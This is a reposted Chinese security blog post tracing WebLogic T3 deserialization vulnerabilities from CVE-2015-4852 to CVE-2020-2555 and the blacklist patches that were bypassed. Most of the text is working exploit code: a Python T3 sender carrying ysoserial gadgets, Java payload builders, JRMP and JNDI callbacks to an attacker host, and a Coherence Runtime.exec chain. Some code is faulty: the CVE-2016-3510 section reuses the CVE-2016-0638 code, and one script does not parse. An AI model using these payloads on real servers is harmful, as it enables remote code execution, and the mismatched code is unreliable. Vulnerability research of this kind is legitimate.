调试环境搭建
将weblogic依赖的jar包拷贝出来并导入idea。
mkdir wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver/server/lib ./wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
T3 协议说明
t3是oracle对rmi的增强,和rmi一样在网络间传输时数据是序列化过的。文章的重点在于分析漏洞以及补丁为什么可以绕过,就不分析t3协议数据的格式了,在复现时我们只需要将生成的恶意序列化数据套在py模版中即可。如果有师傅想对weblogic体系及其t3协议的正常使用感兴趣推荐阅读 WebLogic安全研究报告
。
CVE-2015-4852
t3协议的传输过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject中读取并进行反序列化。
因为是t3第一洞所以可以看到ServerChannelInputStream的resolveClass并没有任何做防御。
自带cc链
所以只需要把ysoserial的生成的payload嵌入t3协议即可。
import socket import sys import struct import re import subprocess import binascii def get_payload1(gadget, command): JAR_FILE = '/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar' popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read() def get_payload2(path): with open(path, "rb") as f: return f.read() def exp(host, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) handshake = "t3 12.2.3/nAS:255/nHL:19/nMS:10000000/n/n".encode() sock.sendall(handshake) data = sock.recv(1024) pattern = re.compile(r"HELO:(.*).false") version = re.findall(pattern, data.decode()) if len(version) == 0: print("Not Weblogic") return print("Weblogic {}".format(version[0])) data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新 t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头 flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志 payload = data_len + t3header + flag + payload payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度 sock.send(payload) if __name__ == "__main__": host = "127.0.0.1" port = 7001 gadget = "CommonsCollections1" #CommonsCollections1 Jdk7u21 command = "touch /tmp/CVE-2015-4852" payload = get_payload1(gadget, command) exp(host, port, payload)
CVE-2015-4852的修复
补丁:2016年1月 p21984589_1036_Generic
修复方法是在resolveClass中引入了 ClassFilter.isBlackListed进行过滤,跟进weblogic.rmi.ClassFilter可以看到黑名单内容。
除此之外,另外几个反序列化点也被加了相同的过滤(不一一打开看了)。
反序列化两个关键点,一个是触发反序列化的点,二是gadget。现在反序列化触发点有了,后面的t3的cve就是绕黑名单的各种技巧了。
为了让后面的分析更具有说服力,这里以10.3.6为例说明如何打补丁。
docker run -it -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21 /bin/bash docker cp /Users/cengsiqi/Downloads/p21984589_1036_Generic weblogic1036jdk7u21:/p21984589_1036_Generic docker exec -it weblogic1036jdk7u21 /bin/bash cd /p21984589_1036_Generic mv patch-catalog_23510.xml patch-catalog.xml cd /u01/app/oracle/middleware/utils/bsu ./bsu.sh -install -patch_download_dir=/p21984589_1036_Generic -patchlist=S8C2 -prod_dir=/u01/app/oracle/middleware/wlserver/ /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh
CVE-2016-0638
weblogic.jms.common.StreamMessageImpl没在黑名单,在其反序列化时会读取一段数据并进行反序列化,我们可以把这段数据伪造成rce payload。
import weblogic.jms.common.StreamMessageImpl; import java.io.*; public class CVE_2016_0638 { public static void main(String[] args) throws IOException { byte[] payload = exec("CommonsCollections1", "touch /tmp/CVE_2016_0638"); StreamMessageImpl streamMessage = new StreamMessageImpl(payload); ser(streamMessage, "CVE_2016_0638.ser"); } public static byte[] exec(String gadget, String command) throws IOException { String[] cmd = {"java", "-jar", "/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar", gadget, command}; InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[4096]; int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } return baos.toByteArray(); } public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
乱入一个QA
Q:StreamMessageImpl可以过黑名单很好理解,但是为啥CommonsCollections1依旧可以成功,CommonsCollections1(org.apache.commons.collections.functors)不是在黑名单里面吗?
A:答案是ServerChannelInputStream没有过滤到org.apache.commons.collections.functors(废话)。细节是这样的:ServerChannelInputStream的resolveClass检验到是StreamMessageImpl,不在黑名单里面,通过。然后在反序列化流程中会调用StreamMessageImpl的readExternal,readExternal内部又new了新的ObjectInputStream(以后简称ois)并从缓冲区读反序列化数据再次调用readObject,这里原生的ois就是原生的resolveClass方法没有过滤。
CVE-2016-0638的修复
补丁:2016年4月p22505423_1036_Generic
把原生的ois换成了FilteringObjectInputStream
CVE-2016-3510
weblogic.corba.utils.MarshalledObject不在黑名单中,并且在readResolve的时候会读取objBytes的值赋给新new的ois。那么我们在objBytes中放入rce payload即可。
import weblogic.jms.common.StreamMessageImpl; import java.io.*; public class CVE_2016_0638 { public static void main(String[] args) throws IOException { byte[] payload = exec("CommonsCollections1", "touch /tmp/CVE_2016_0638"); StreamMessageImpl streamMessage = new StreamMessageImpl(payload); ser(streamMessage, "CVE_2016_0638.ser"); } public static byte[] exec(String gadget, String command) throws IOException { String[] cmd = {"java", "-jar", "/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar", gadget, command}; InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[4096]; int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } return baos.toByteArray(); } public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
CVE-2016-3510的修复
补丁:2016年10月 p23743997_1036_Generic
重写了resolveClass方法,加了过滤。
CVE-2017-3248
利用JRMPClient进行带外rce,这个技巧相信看过 橘子师傅shiro rce
的操作的师很熟悉了。
import socket import sys import struct import re import subprocess import binascii def get_payload1(gadget, command): JAR_FILE = '/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar' popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read() def get_payload2(path): with open(path, "rb") as f: return f.read() def exp(host, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) handshake = "t3 12.2.3/nAS:255/nHL:19/nMS:10000000/n/n".encode() sock.sendall(handshake) data = sock.recv(1024) pattern = re.compile(r"HELO:(.*).false") version = re.findall(pattern, data.decode()) if len(version) == 0: print("Not Weblogic") return print("Weblogic {}".format(version[0])) data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新 t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头 flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志 payload = data_len + t3header + flag + payload payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度 sock.send(payload) if __name__ == "__main__": host = "127.0.0.1" port = 7001 gadget = "JRMPClient" #CommonsCollections1 Jdk7u21 JRMPClient command = "192.168.1.3:8080" # payload = get_payload1(gadget, command) ) ) exp(host, port, payload)
CVE-2017-3248的修复
CVE-2018-2628
上面提到过滤了Registry,这样ysoserial中原生JRMPClient就打不了,但是仍然有多种办法bypass。
替换接口
引用@
lpwd
师傅的话:
这个CVE廖也提交了绕过,他的绕过是用java.rmi.activation.Activator替换java.rmi.registry.Registry,从而绕过resolveProxyClass的判断。其实这里对接口没有要求,不一定是rmi接口,随便找一个接口都行,比如java.util.Map
package ysoserial.payloads; import java.lang.reflect.Proxy; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import java.util.Map; @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Map> { public Map getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Map proxy = (Map) Proxy.newProxyInstance( JRMPClient.class.getClassLoader(), new Class[] { Map.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }
直接用UnicastRef
CVE-2017-3248的构造中把UnicastRef放入了Registry,其实用UnicastRef也能在反序列化的时候发起jrmp请求。这种方法要比替换接口的干脆很多。在ysoserial中加一个JRMPClient2
package ysoserial.payloads; import java.rmi.server.ObjID; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient2 extends PayloadRunner implements ObjectPayload<UnicastRef> { public UnicastRef getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return ref; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }
CVE-2018-2628的修复
补丁:2018年四月发布的p27395085_1036_Generic
UnicastRef在weblogic.utils.io.oif.WebLogicFilterConfig中加进了黑名单。
CVE-2018-2893
streamMessageImpl + jrmp代理类绕过。先来看payload
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import java.io.*;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class CVE_2018_2893 {
public static void main(String[] args) throws IOException {
ObjID objID = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.1.3", 8080);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
Object object = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
StreamMessageImpl streamMessage = new StreamMessageImpl(serialize(object));
ser(streamMessage, "CVE_2018_2893.ser");
}
public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}
什么鬼?payload中用到的streamMessageImpl、Registry、UnicastRef不是已经被修复了吗?
我们来细看一下怎么修的。
streamMessageImpl的readExternal内部是拿给FilteringObjectInputStream过滤。
FilteringObjectInputStream只是对普通类的反序列化进行了拦截, 并没有对代理类进行拦截
。对你没看错,虽然在CVE-2017-3248后ServerChannelInoutStream类中的resolveProxyClass过滤了Registry,但是这里的FilteringObjectInputStream并没有实现resolveProxyClass过滤代理类。
那UnicastRef又为啥逃过一劫?我们来看UnicastRef在序列化的时候经历了什么。在上面的payload中UnicastRef传入了RemoteObjectInvocationHandler,RemoteObjectInvocationHandler继承自RemoteObject。在RemoteObject writeObject时只是写入UnicastRef的类名(并没有把他作为一个类序列化)然后调用UnicastRef的writeExternal。
UnicastRef又用到了LiveRef的write,写入了反序列化时需要反连的host和端口。
由此可见UnicastRef从始至终并没有作为一个类被反序列化,如果分析这个payload的resolve
时序会发现完全没有反序列化UnicastRef。
如果你分析序列化出来的数据会发现*
UnicastRef**只是TC_BLOCKDATA而不是TC_CLASSDESC。
CVE-2018-2893的修复
补丁:18年7月 p27919965_1036_Generic
这次修复把经过resolveClass的java.rmi.server.RemoteObjectInvocationHandler给过滤了。
CVE-2018-3245
再次引用@
lpwd
师傅的话:
根据前面的分析可知,我们只需要找一个类似java.rmi.server.RemoteObjectInvocationHandler的类进行替换,就能继续绕过了。
那么这个类应该满足以下条件:
继承远程类:java.rmi.server.RemoteObject
不在黑名单里边(java.rmi.activation. 、sun.rmi.server.)
随便找了一下,符合条件的挺多的:
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.io.*; import java.rmi.server.ObjID; import java.util.Random; public class CVE_2018_3245 { public static void main(String[] args) throws IOException { ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint("192.168.1.3", 8080); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); ReferenceWrapper_Stub wrapperStub = new ReferenceWrapper_Stub(ref); ser(wrapperStub, "CVE_2018_3245.ser"); } public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
CVE-2018-3245的修复
补丁:2018年8月 p28343311_1036_201808Generic
修复方法是添加更底层的java.rmi.server.RemoteObject。
CVE-2018-3191
这个洞是jndi注入。触发点在JtaTransactionManager。
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; public class CVE_2018_3191 { public static void main(String[] args) throws IOException { String jndiAddress = "rmi://192.168.1.3:1099/Exploit"; JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName(jndiAddress); ser(jtaTransactionManager, "CVE_2018_3191.ser"); } public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
CVE-2018-3191的修复
补丁:2018年8月 p28343311_1036_Generic
CVE-2020-2555
Oracle Coherence组件存在漏洞,该组件默认集成在Weblogic12c及以上版本中(网上资料这么说的:web10.3.6也有只是默认没有启用,未验证)。
这个漏洞和cc5的构造有异曲同工之妙,触发点在BadAttributeValueExpException#readObject 中调用toString方法。
在Coherence组件中LimitFilter这个类刚好可以被序列化并且有toString这个方法。因为是反序列化,this.m_comparator和this.m_oAnchorBottom都可控。也就说 extractor.extract(``this``.m_oAnchorBottom)
完全可控(更严格的说m_comparator需要是ValueExtractor的实例并且和m_oAnchorBottom都需要可被序列化)。
我们来看一下有哪些满足条件的类实现了extract。
可以注意到com.tangosol.util.extractor.ReflectionExtractor#extract
它可以被序列化并且extract里面是一组反射操作。

其次注意到com.tangosol.util.extractor.ChainedExtractor#extract
里面是对extrator进行链式操作,说到这里已经可以看出来是和cc链一个套路了。
这里我是在windows上复现的(
很奇怪我在linux完整安装打不了,windows上默认安装就可以,
后来发现linux环境是7u21这个版本的BadAttributeValueExpException并没有readObject方法,另外不需要用完整示例安装默认安装即可)。
import com.tangosol.util.ValueExtractor; import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import com.tangosol.util.filter.LimitFilter; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; public class CVE_2020_2555 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { //String cmd = "touch /tmp/CVE_2020_2555_12013"; String cmd ="calc.exe"; ValueExtractor[] valueExtractors = new ValueExtractor[]{ new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}), new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}), //new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", cmd}}) new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", cmd}}) }; // chain LimitFilter limitFilter = new LimitFilter(); limitFilter.setTopAnchor(Runtime.class); BadAttributeValueExpException expException = new BadAttributeValueExpException(null); Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); m_comparator.setAccessible(true); m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors)); Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); m_oAnchorTop.setAccessible(true); m_oAnchorTop.set(limitFilter, Runtime.class); Field val = expException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(expException, limitFilter); ser(expException, "./CVE_2020_2555_12013.ser"); } public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
CVE-2020-2555的修复
图片来自 ZDL
(侵删)可以看到是删了extractor.extract
总结
疏理完一遍之后,我们得以看到整个绕过思路的全貌。我主观分为三个阶段。
- 第一阶段,CVE-2016-0638和CVE-2016-3510。利用反序列化流程中新new的原生ois绕过,只要找到了read*系列的点可以比较容易的看出来。
- 第二阶段,cve-2017-3248到cve-2018-3191。利用jrmp、jndi带外rce,漏洞点没有在read*的代码上下文中需要多跟几步有点“pop”的感觉了。
- 第三阶段,cve-2020-2555,需要对java的反序列化出现过知识点很熟悉(java原生类的触发点+weblogic组件中类似cc的套路),据说这个漏洞的作者也挖了很久。
碍于笔者水平,行文出错在所难免,如有阅读此文的师傅发现错误还请不吝指正。
参考
从WebLogic看反序列化漏洞的利用与防御
Java 序列化之 Externalizable
Weblogic漏洞调试笔记
如何控制开放HTTPS服务的weblogic服务器
Weblogic CVE-2016-0638 StreamMessageImpl反序列化绕过分析
Patch S8C2 is mutually exclusive and cannot coexist with patch(es): ZLNA,EJUW
Weblogic JRMP反序列化漏洞回顾
CVE-2018-2893:Oracle WebLogic Server 远程代码执行漏洞分析预警
漫谈 Weblogic CVE-2020-2555
Oracle Coherence 反序列化漏洞分析(CVE-2020-2555)
原文
http://redteam.today/2020/03/25/weblogic历史T3反序列化漏洞及补丁梳理/
本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » weblogic历史T3反序列化漏洞及补丁梳理